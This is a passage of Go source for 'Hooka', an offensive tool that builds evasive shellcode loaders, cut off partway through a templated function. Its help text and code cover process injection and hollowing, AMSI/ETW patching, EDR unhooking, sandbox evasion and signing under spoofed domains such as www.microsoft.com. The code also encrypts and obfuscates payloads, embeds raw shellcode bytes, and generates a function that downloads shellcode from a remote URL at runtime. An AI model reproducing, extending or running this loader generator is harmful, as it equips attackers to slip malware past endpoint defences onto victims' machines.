Files

3683 lines
152 KiB
Go

package main
import (
"fmt"
"flag"
"os/exec"
"strings"
"os"
"io/ioutil"
"strconv"
"log"
"errors"
"bytes"
"time"
math_rand "math/rand"
"encoding/hex"
"text/template"
crypto_rand "crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"github.com/D3Ext/Hooka/utils"
"github.com/Binject/go-donut/donut"
)
// define the template which will hold all the variables and function names
type LoaderTemplate struct {
Vars map[string]string
}
// function to print the banner
func banner(){
fmt.Println(" _ _ _ _")
fmt.Println(" | | | | ___ ___ | | __ __ _ | |")
fmt.Println(" | |_| | / _ \\ / _ \\ | |/ / / _` | | |")
fmt.Println(" | _ | | (_) | | (_) | | < | (_| | |_|")
fmt.Println(" |_| |_| \\___/ \\___/ |_|\\_\\ \\__,_| (_)")
}
// function to print the help panel
func help_panel(){
fmt.Println(`
Usage of Hooka:
REQUIRED:
-i, --input string payload to inject in raw format, as PE, as DLL or from a URL
-o, --output string name of output file (i.e. loader.exe)
-f, --format string format of the payload to generate (available: exe, dll) (default exe)
EXECUTION:
--proc string process to spawn (in suspended state) when needed for given execution technique (default notepad.exe)
--exec string technique used to load shellcode (default "SuspendedProcess"):
SuspendedProcess
ProcessHollowing
NtCreateThreadEx
EtwpCreateEtwThread
NtQueueApcThreadEx
No-RWX
AUXILIARY:
-a, --arch string architecture of the loader to generate (default amd64)
-c, --cert string certificate to sign generated loader with (i.e. cert.pfx)
-d, --domain string domain used to sign loader (i.e. www.microsoft.com)
ENCODING:
--enc string encrypts shellcode using given algorithm (available: aes, 3des, rc4, xor) (default none)
--sgn use Shikata Ga Nai to encode generated loader (it must be installed on path)
--strings obfuscate strings using Caesar cipher
EVASION:
--unhook string unhooking technique to use (available: full, peruns)
--sandbox enable sandbox evasion
--no-amsi don't patch AMSI
--no-etw don't patch ETW
--hashing use hashes to retrieve function pointers
--user string proceed only when the user running the loader is the expected (i.e. DESKTOP-E1D6G0A\admin)
--computername string proceed only when the computer name is the expected (i.e. DESKTOP-E1D6G0A)
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
--sleep delay shellcode execution using a custom sleep function
EXTRA:
--calc use a calc.exe shellcode to test loader capabilities (don't provide input file)
--compress compress generated loader using Golang compiler and UPX if it's installed
-r, --rand use a random set of parameters to create a random loader (just for testing purposes)
-v, --verbose enable verbose to print extra information
-h, --help print help panel
Examples:
hooka -i shellcode.bin -o loader.exe
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
`)
}
// define shellcode injection techniques
// there are multiple names defined for every technique
// as the names may be a little bit confussing
var techniques []string = []string{"ntcreatethreadex", "ntcreatethread", "suspendedprocess", "etwpcreateetwthread", "processhollowing", "no-rwx", "nrwx", "norwx", "ntqueueapcthreadex"}
var buffer bytes.Buffer
func main() {
// define variables that will hold CLI arguments values
var input_file, output_file, format, arch, exec_technique, unhook, username, computername, cert, domain, encrypt, process string
var sgn, str_obfs, sandbox, noamsi, noetw, hashing, acg, blockdlls, phantom, sleep_time, calc, compress, rand, verbose, help bool
// Main arguments
flag.StringVar(&input_file, "i", "", "")
flag.StringVar(&input_file, "input", "", "")
flag.StringVar(&output_file, "o", "", "")
flag.StringVar(&output_file, "output", "", "")
flag.StringVar(&format, "f", "exe", "")
flag.StringVar(&format, "format", "exe", "")
flag.StringVar(&arch, "a", "amd64", "")
flag.StringVar(&arch, "arch", "amd64", "")
// Executing shellcode
flag.StringVar(&exec_technique, "exec", "suspendedprocess", "")
flag.StringVar(&process, "proc", "C:\\Windows\\System32\\notepad.exe", "")
// Auxiliary options
flag.StringVar(&cert, "c", "", "")
flag.StringVar(&cert, "cert", "", "")
flag.StringVar(&domain, "d", "", "")
flag.StringVar(&domain, "domain", "", "")
// Encoding
flag.StringVar(&encrypt, "enc", "", "")
flag.BoolVar(&sgn, "sgn", false, "")
flag.BoolVar(&str_obfs, "strings", false, "")
// Evasion
flag.StringVar(&unhook, "unhook", "", "")
flag.BoolVar(&sandbox, "sandbox", false, "")
flag.BoolVar(&noamsi, "no-amsi", false, "")
flag.BoolVar(&noetw, "no-etw", false, "")
flag.BoolVar(&hashing, "hashing", false, "")
flag.StringVar(&username, "user", "", "")
flag.StringVar(&computername, "computername", "", "")
flag.BoolVar(&acg, "acg", false, "")
flag.BoolVar(&blockdlls, "blockdlls", false, "")
flag.BoolVar(&phantom, "phantom", false, "")
flag.BoolVar(&sleep_time, "sleep", false, "")
// Extra
flag.BoolVar(&calc, "calc", false, "")
flag.BoolVar(&compress, "compress", false, "")
flag.BoolVar(&rand, "r", false, "")
flag.BoolVar(&rand, "rand", false, "")
flag.BoolVar(&verbose, "v", false, "")
flag.BoolVar(&verbose, "verbose", false, "")
flag.BoolVar(&help, "h", false, "")
flag.BoolVar(&help, "help", false, "")
// parse CLI arguments
flag.Parse()
// check especified parameters values just to check no valid value was provided
if (help) {
banner()
help_panel()
os.Exit(0)
}
var err error
_, err = exec.LookPath("go")
if err != nil {
fmt.Println("[-] \"go\" binary is not found on path and it is required to compile the loader")
log.Fatal(err)
}
// check if needed arguments were given
if (input_file == "") && (!calc) {
banner()
help_panel()
fmt.Println("[-] Provide a valid input file")
os.Exit(1)
}
if (output_file == "") {
banner()
help_panel()
fmt.Println("[-] Provide an output file")
os.Exit(1)
}
format = strings.ToLower(format)
if (format != "exe") && (format != "dll") {
banner()
help_panel()
fmt.Println("[-] Invalid payload format. Available formats: exe, dll")
os.Exit(1)
}
// check if file exists
_, input_err := os.Stat(input_file)
if (strings.ToLower(encrypt) != "none") && (strings.ToLower(encrypt) != "") && (strings.HasPrefix(input_file, "http")) && (errors.Is(input_err, os.ErrNotExist)) {
banner()
help_panel()
fmt.Println("[-] Encryption is not available when providing a URL as input")
os.Exit(1)
}
if (sgn) && (strings.HasPrefix(input_file, "http")) && (errors.Is(input_err, os.ErrNotExist)) {
banner()
help_panel()
fmt.Println("[-] Shikata Ga Nai is not available when providing a URL as input")
os.Exit(1)
}
// Check architecture parameter
if (arch != "") && (arch != "amd64") && (arch != "386") {
fmt.Println("[-] Provide a valid architecture. Either amd64 or 386")
os.Exit(1)
}
var valid_technique bool
for _, technique := range techniques {
if (strings.ToLower(exec_technique) == technique) {
valid_technique = true
break
}
}
// Check valid values for shellcode execution technique
if (!valid_technique) {
banner()
help_panel()
fmt.Println("[-] Provide a valid shellcode execution technique. Default technique is \"SuspendedProcess\"")
os.Exit(1)
}
exec_technique = strings.ToLower(exec_technique)
unhook = strings.ToLower(unhook)
format = strings.ToLower(format)
// this shellcode execution technique needs unhooking
if (exec_technique == "suspendedprocess") {
unhook = "peruns"
}
NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtQueryInformationThread, NtQueryInformationProcess := GetCallsNames()
// Check valid values for encryption parameter
if (encrypt != "") && (strings.ToLower(encrypt) != "aes") && (strings.ToLower(encrypt) != "3des") && (strings.ToLower(encrypt) != "rc4") && (strings.ToLower(encrypt) != "xor") && (strings.ToLower(encrypt) != "none") {
fmt.Println("[-] Provide a valid encryption cipher. Available ciphers: aes, 3des, rc4, xor, none")
os.Exit(0)
}
// Check valid values for unhooking parameter
if (unhook != "") && (unhook != "full") && (unhook != "peruns") {
fmt.Println("[-] Provide a valid unhooking technique. Available techniques: full, peruns")
os.Exit(1)
}
if (cert != "") {
_, err := os.Stat(cert)
if (!errors.Is(err, os.ErrNotExist)) {
fmt.Println("[-] Provide an existing certificate")
os.Exit(1)
}
}
// check if Shikata Ga Nai is installed on path
if (sgn) {
_, err := exec.LookPath("sgn")
if err != nil {
fmt.Println("[-] \"sgn\" is not installed on path, visit https://github.com/EgeBalci/sgn to install it")
log.Fatal(err)
}
}
if (domain != "") || (cert != "") {
_, err := exec.LookPath("openssl")
if err != nil {
fmt.Println("[-] \"openssl\" is not installed on path, it is required to sign the generated loader")
log.Fatal(err)
}
_, err = exec.LookPath("osslsigncode")
if err != nil {
fmt.Println("[-] \"osslsigncode\" is not installed on path, it is required to sign the generated loader")
log.Fatal(err)
}
}
// Generate a random config if --rand parameter was given
if (rand) {
fmt.Println("[*] Generating a random set of parameters")
encrypt, unhook, noamsi, noetw, sgn, str_obfs, acg, blockdlls, sandbox, phantom, compress, sleep_time = GetRandomConfig()
}
// print banner
banner()
fmt.Println()
// define key variables
var imports []string
var exports []string
var functions []string
var dlls_to_unhook []string
// Create template which will hold loader code
Main := &LoaderTemplate{}
// Define variables list
Main.Vars = make(map[string]string)
Main.Vars["shellcode"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["enc_shellcode"] = utils.RandomString(utils.RandomInt(9,10))
var func_name string
if (format == "dll") {
func_name = utils.RandomString(utils.RandomInt(8, 10))
}
// Get shellcode from raw file, from PE or from DLL
if (!strings.HasPrefix(input_file, "http")) && (!errors.Is(input_err, os.ErrNotExist)) {
fmt.Println("[*] Obtaining shellcode from " + input_file)
} else {
if (!calc) {
fmt.Println("[*] Shellcode will be retrieved from " + input_file + " during execution")
} else {
fmt.Println("[*] Using calc.exe shellcode")
}
}
time.Sleep(100 * time.Millisecond)
var shellcode []byte
var get_shellcode_from_url_func string
if (!strings.HasSuffix(input_file, ".dll")) && (!strings.HasSuffix(input_file, ".exe") && (!calc) && (!strings.HasPrefix(input_file, "http"))) && (!errors.Is(input_err, os.ErrNotExist)) {
fmt.Println(" > Shellcode is in raw format")
time.Sleep(100 * time.Millisecond)
shellcode, err = utils.GetShellcodeFromFile(input_file)
if err != nil {
log.Fatal(err)
}
} else if (strings.HasSuffix(input_file, ".dll")) {
fmt.Println(" > Converting DLL to shellcode (sRDI)")
time.Sleep(100 * time.Millisecond)
shellcode, err = utils.ConvertDllToShellcode(input_file, func_name, "")
if err != nil {
log.Fatal(err)
}
} else if (strings.HasSuffix(input_file, ".exe")) {
fmt.Println(" > Converting EXE to shellcode using Donut")
time.Sleep(100 * time.Millisecond)
config := new(donut.DonutConfig)
switch strings.ToLower(arch) {
case "x32", "386":
config.Arch = donut.X32
case "x84":
config.Arch = donut.X84
default:
config.Arch = donut.X64
}
config.Bypass = 3
config.Compress = uint32(1)
config.InstType = donut.DONUT_INSTANCE_PIC
payload, err := donut.ShellcodeFromFile(input_file, config)
if err != nil {
log.Fatal(err)
}
shellcode = payload.Bytes()
} else if (calc) {
shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
} else if (strings.HasPrefix(input_file, "http")) && (errors.Is(input_err, os.ErrNotExist)) {
imports = utils.AppendSlice(imports, []string{"net/http", "io"}) // needed imports
Main.Vars["get_shellcode_from_url_func"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["sc_url"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["req"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["client"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["resp"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["b"] = utils.RandomString(utils.RandomInt(9,10))
get_shellcode_from_url_func = `
func {{.Vars.get_shellcode_from_url_func}}({{.Vars.sc_url}} string) ([]byte, error) {
{{.Vars.req}}, {{.Vars.err}} := http.NewRequest("GET", {{.Vars.sc_url}}, nil)
if {{.Vars.err}} != nil {
return nil, {{.Vars.err}}
}
{{.Vars.req}}.Header.Set("Accept", "application/x-www-form-urlencoded")
{{.Vars.req}}.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
{{.Vars.client}} := &http.Client{}
{{.Vars.resp}}, {{.Vars.err}} := {{.Vars.client}}.Do({{.Vars.req}})
if {{.Vars.err}} != nil {
return nil, {{.Vars.err}}
}
defer {{.Vars.resp}}.Body.Close()
{{.Vars.b}}, {{.Vars.err}} := io.ReadAll({{.Vars.resp}}.Body)
if {{.Vars.err}} != nil {
return nil, {{.Vars.err}}
}
return {{.Vars.b}}, nil
}
`
// append previous functions
functions = utils.AppendString(functions, ParseTemplate(get_shellcode_from_url_func, Main))
}
if (sgn) {
fmt.Println(" > Obfuscating shellcode with Shikata Ga Nai")
time.Sleep(100 * time.Millisecond)
sgn_shellcode, err := ShikataGaNai(shellcode)
if err != nil {
fmt.Println(" > An error has ocurred while obfuscating shellcode, using provided shellcode")
} else {
shellcode = sgn_shellcode
}
}
if (verbose) {
if (encrypt != "") && (strings.ToLower(encrypt) != "none") {
fmt.Println(" > Using " + strings.ToUpper(encrypt) + " to encrypt the shellcode")
} else {
fmt.Println(" > Shellcode encryption is currently disabled")
}
}
fmt.Println()
time.Sleep(100 * time.Millisecond)
if str_obfs {
// define variables
Main.Vars["caesar_encrypt_func"] = utils.RandomString(utils.RandomInt(9, 10))
Main.Vars["caesar_decrypt_func"] = utils.RandomString(utils.RandomInt(9, 10))
Main.Vars["plaintext"] = utils.RandomString(utils.RandomInt(8, 9))
Main.Vars["shift"] = utils.RandomString(utils.RandomInt(8, 9))
Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(8, 9))
Main.Vars["char"] = utils.RandomString(utils.RandomInt(8, 9))
caesar_encrypt_func := `
func {{.Vars.caesar_encrypt_func}}({{.Vars.plaintext}} string, {{.Vars.shift}} int) string {
{{.Vars.ciphertext}} := ""
for _, {{.Vars.char}} := range {{.Vars.plaintext}} {
if {{.Vars.char}} >= 'A' && {{.Vars.char}} <= 'Z' {
{{.Vars.ciphertext}} += string(({{.Vars.char}}-'A'+rune({{.Vars.shift}}))%26 + 'A')
} else if {{.Vars.char}} >= 'a' && {{.Vars.char}} <= 'z' {
{{.Vars.ciphertext}} += string(({{.Vars.char}}-'a'+rune({{.Vars.shift}}))%26 + 'a')
} else {
{{.Vars.ciphertext}} += string({{.Vars.char}})
}
}
return {{.Vars.ciphertext}}
}
`
caesar_decrypt_func := `
func {{.Vars.caesar_decrypt_func}}({{.Vars.ciphertext}} string, {{.Vars.shift}} int) string {
return {{.Vars.caesar_encrypt_func}}({{.Vars.ciphertext}}, 26-{{.Vars.shift}})
}
`
// append previous functions
functions = utils.AppendString(functions, ParseTemplate(caesar_encrypt_func, Main))
functions = utils.AppendString(functions, ParseTemplate(caesar_decrypt_func, Main))
}
// Encrypt shellcode
var key []byte
var iv []byte
if (strings.ToLower(encrypt) == "aes") { // use AES encryption
key = []byte(utils.RandomString(32)) // generate 32 bytes random key
iv, err = utils.GenerateIV() // generate random IV
if err != nil {
log.Fatal(err)
}
// encrypt shellcode
shellcode, err = utils.AESEncrypt(shellcode, iv, key)
if err != nil {
log.Fatal(err)
}
imports = utils.AppendSlice(imports, []string{"crypto/aes", "crypto/cipher", "errors"}) // needed imports
// define variables
Main.Vars["aes_decrypt_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["iv"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["key"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["block"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ecb"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["content"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["aes_pkcs5trimming_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["encrypt"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["decrypted"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["padding"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(9,10))
// define code using templates
aes_decrypt_func := `
func {{.Vars.aes_decrypt_func}}({{.Vars.ciphertext}} []byte, {{.Vars.iv}} []byte, {{.Vars.key}} []byte) ([]byte, error) {
{{.Vars.block}}, {{.Vars.err}} := aes.NewCipher({{.Vars.key}})
if {{.Vars.err}} != nil {
return nil, {{.Vars.err}}
}
if len({{.Vars.ciphertext}}) == 0 {
return nil, errors.New(` + ObfuscateStr("ciphertext cannot be empty", str_obfs) + `)
}
{{.Vars.ecb}} := cipher.NewCBCDecrypter({{.Vars.block}}, {{.Vars.iv}})
{{.Vars.decrypted}} := make([]byte, len({{.Vars.ciphertext}}))
{{.Vars.ecb}}.CryptBlocks({{.Vars.decrypted}}, {{.Vars.ciphertext}})
return {{.Vars.aes_pkcs5trimming_func}}({{.Vars.decrypted}}), nil
}
`
aes_pkcs5trimming_func := `
func {{.Vars.aes_pkcs5trimming_func}}({{.Vars.encrypt}} []byte) []byte {
{{.Vars.padding}} := {{.Vars.encrypt}}[len({{.Vars.encrypt}})-1]
return {{.Vars.encrypt}}[:len({{.Vars.encrypt}})-int({{.Vars.padding}})]
}
`
// append previous functions
functions = utils.AppendString(functions, ParseTemplate(aes_decrypt_func, Main))
functions = utils.AppendString(functions, ParseTemplate(aes_pkcs5trimming_func, Main))
} else if (strings.ToLower(encrypt) == "3des") { // use 3DES encryption
key = []byte(utils.RandomString(24)) // generate 32 bytes random key
shellcode, err = utils.TripleDesEncrypt(shellcode, key) // encrypt shellcode
if err != nil {
log.Fatal(err)
}
imports = utils.AppendSlice(imports, []string{"crypto/cipher", "crypto/des"}) // needed imports
// define variables
Main.Vars["tripledes_decrypt_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["data"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["key"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["block"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["iv"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["origdata"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["decrypter"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["decrypted"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["tripledes_pkcs5trimming_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["encrypt"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["padding"] = utils.RandomString(utils.RandomInt(9,10))
// define code using templates
tripledes_decrypt_func := `
func {{.Vars.tripledes_decrypt_func}}({{.Vars.data}}, {{.Vars.key}} []byte) ([]byte, error) {
{{.Vars.block}}, {{.Vars.err}} := des.NewTripleDESCipher({{.Vars.key}})
if {{.Vars.err}} != nil {
return nil, {{.Vars.err}}
}
{{.Vars.ciphertext}} := {{.Vars.key}}
{{.Vars.iv}} := {{.Vars.ciphertext}}[:des.BlockSize]
{{.Vars.decrypter}} := cipher.NewCBCDecrypter({{.Vars.block}}, {{.Vars.iv}})
{{.Vars.decrypted}} := make([]byte, len({{.Vars.data}}))
{{.Vars.decrypter}}.CryptBlocks({{.Vars.decrypted}}, {{.Vars.data}})
{{.Vars.decrypted}} = {{.Vars.tripledes_pkcs5trimming_func}}({{.Vars.decrypted}})
return {{.Vars.decrypted}}, nil
}
`
tripledes_pkcs5trimming_func := `
func {{.Vars.tripledes_pkcs5trimming_func}}({{.Vars.encrypt}} []byte) []byte {
{{.Vars.padding}} := {{.Vars.encrypt}}[len({{.Vars.encrypt}})-1]
return {{.Vars.encrypt}}[:len({{.Vars.encrypt}})-int({{.Vars.padding}})]
}
`
// append previous functions
functions = utils.AppendString(functions, ParseTemplate(tripledes_decrypt_func, Main))
functions = utils.AppendString(functions, ParseTemplate(tripledes_pkcs5trimming_func, Main))
} else if (strings.ToLower(encrypt) == "rc4") { // use RC4 encryption
key = []byte(utils.RandomString(32)) // generate 32 bytes random key
shellcode, err = utils.Rc4Encrypt(shellcode, key) // encrypt shellcode
if err != nil {
log.Fatal(err)
}
imports = utils.AppendString(imports, "crypto/rc4") // needed imports
// define variables
Main.Vars["rc4_decrypt_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["psk"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["src"] = utils.RandomString(utils.RandomInt(9,10))
// define code using templates
rc4_decrypt_func := `
func {{.Vars.rc4_decrypt_func}}({{.Vars.ciphertext}} []byte, {{.Vars.psk}} []byte) ([]byte, error) {
{{.Vars.r}}, {{.Vars.err}} := rc4.NewCipher({{.Vars.psk}})
if {{.Vars.err}} != nil {
return nil, {{.Vars.err}}
}
{{.Vars.src}} := make([]byte, len({{.Vars.ciphertext}}))
{{.Vars.r}}.XORKeyStream({{.Vars.src}}, []byte({{.Vars.ciphertext}}))
return {{.Vars.src}}, nil
}
`
// append previous functions
functions = utils.AppendString(functions, ParseTemplate(rc4_decrypt_func, Main))
} else if (strings.ToLower(encrypt) == "xor") { // use XOR encoding
key = []byte(utils.RandomString(24)) // generate 24 bytes random key
shellcode = utils.Xor(shellcode, key) // encode shellcode
// define variables
Main.Vars["xor_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["input"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["key"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["cipher"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["input"] = utils.RandomString(utils.RandomInt(9,10))
// define code using templates
xor_func := `
func {{.Vars.xor_func}}({{.Vars.input}}, {{.Vars.key}} []byte) ({{.Vars.cipher}} []byte) {
for {{.Vars.i}} := 0; {{.Vars.i}} < len({{.Vars.input}}); {{.Vars.i}}++ {
{{.Vars.cipher}} = append({{.Vars.cipher}}, ({{.Vars.input}}[{{.Vars.i}}] ^ {{.Vars.key}}[{{.Vars.i}} % len({{.Vars.key}})]))
}
return {{.Vars.cipher}}
}
`
// append previous function
functions = utils.AppendString(functions, ParseTemplate(xor_func, Main))
}
// encoding logic ends here
fmt.Println("[*] Defining evasion techniques...")
time.Sleep(100 * time.Millisecond)
// define hashing algorithm
var hashing_func string
rand_num := utils.RandomInt(1,3)
if (hashing) {
if (verbose) {
fmt.Println(" > Adding hashing functions...")
}
time.Sleep(100 * time.Millisecond)
// define variables
Main.Vars["hashing_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["hash"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["str"] = utils.RandomString(utils.RandomInt(9,10))
if (rand_num == 1) { // use MD5 hashing
// algorithm is MD5
imports = utils.AppendSlice(imports, []string{"encoding/hex", "crypto/md5"})
hashing_func = `
func {{.Vars.hashing_func}}({{.Vars.str}} string) string {
{{.Vars.hash}} := md5.Sum([]byte({{.Vars.str}}))
return hex.EncodeToString({{.Vars.hash}}[:])
}
`
} else if (rand_num == 2) { // use SHA1 hashing
// algorithm is SHA1
imports = utils.AppendSlice(imports, []string{"encoding/hex", "crypto/sha1"})
hashing_func = `
func {{.Vars.hashing_func}}({{.Vars.str}} string) string {
{{.Vars.hash}} := sha1.Sum([]byte({{.Vars.str}}))
return hex.EncodeToString({{.Vars.hash}}[:])
}
`
} else if (rand_num == 3) { // use SHA256 hashing
// algorithm is SHA256
imports = utils.AppendSlice(imports, []string{"encoding/hex", "crypto/sha256"})
hashing_func = `
func {{.Vars.hashing_func}}({{.Vars.str}} string) string {
{{.Vars.hash}} := sha256.Sum256([]byte({{.Vars.str}}))
return hex.EncodeToString({{.Vars.hash}}[:])
}
`
}
// define structs
export_struct := `
type Export struct {
Ordinal uint32
Name string
VirtualAddress uint32
Forward string
}
`
export_dir_struct := `
type ExportDirectory struct {
ExportFlags uint32
TimeDateStamp uint32
MajorVersion uint16
MinorVersion uint16
NameRVA uint32
OrdinalBase uint32
NumberOfFunctions uint32
NumberOfNames uint32
AddressTableAddr uint32
NameTableAddr uint32
OrdinalTableAddr uint32
DllName string
}
`
// append needed exports and imports
exports = utils.AppendSlice(exports, []string{export_struct, export_dir_struct})
imports = utils.AppendSlice(imports, []string{"debug/pe", "golang.org/x/sys/windows", "strings", "encoding/binary", "errors"})
// define variables
Main.Vars["get_func_ptr_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["get_string_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["dll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["p"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pe64"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ddLength"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["edd"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ds"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["s"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["d"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["exportDirOffset"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dxd"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dt"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ordinalTable"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dno"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dnn"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["n"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ord"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["nameRVA"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dna"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["exports"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ok"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["export"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["exp"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["section"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["start"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["end"] = utils.RandomString(utils.RandomInt(9,10))
// define code using templates
get_func_ptr_func := `
func {{.Vars.get_func_ptr_func}}({{.Vars.hash}} string, {{.Vars.dll}} string, {{.Vars.hashing_func}} func({{.Vars.str}} string) string) (*windows.LazyProc, string, error) {
if (!strings.HasPrefix({{.Vars.dll}}, "C:\\")) {
{{.Vars.dll}} = ` + ObfuscateStr("C:\\Windows\\System32\\", str_obfs) + ` + {{.Vars.dll}}
}
{{.Vars.p}}, {{.Vars.err}} := pe.Open({{.Vars.dll}})
if {{.Vars.err}} != nil {
return &windows.LazyProc{}, "", {{.Vars.err}}
}
defer {{.Vars.p}}.Close()
{{.Vars.pe64}} := {{.Vars.p}}.Machine == 0x8664
var {{.Vars.ddLength}} uint32
if {{.Vars.pe64}} {
{{.Vars.ddLength}} = {{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader64).NumberOfRvaAndSizes
} else {
{{.Vars.ddLength}} = {{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader32).NumberOfRvaAndSizes
}
if {{.Vars.ddLength}} < pe.IMAGE_DIRECTORY_ENTRY_EXPORT+1 {
return &windows.LazyProc{}, "", errors.New(` + ObfuscateStr("error getting exports entries", str_obfs) + `)
}
var {{.Vars.edd}} pe.DataDirectory
if {{.Vars.pe64}} {
{{.Vars.edd}} = {{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT]
} else {
{{.Vars.edd}} = {{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader32).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT]
}
var {{.Vars.ds}} *pe.Section
{{.Vars.ds}} = nil
for _, {{.Vars.s}} := range {{.Vars.p}}.Sections {
if {{.Vars.s}}.VirtualAddress <= {{.Vars.edd}}.VirtualAddress && {{.Vars.edd}}.VirtualAddress < {{.Vars.s}}.VirtualAddress+{{.Vars.s}}.VirtualSize {
{{.Vars.ds}} = {{.Vars.s}}
break
}
}
if {{.Vars.ds}} == nil {
return &windows.LazyProc{}, "", errors.New(` + ObfuscateStr("no section was found", str_obfs) + `)
}
{{.Vars.d}}, {{.Vars.err}} := {{.Vars.ds}}.Data()
if {{.Vars.err}} != nil {
return &windows.LazyProc{}, "", {{.Vars.err}}
}
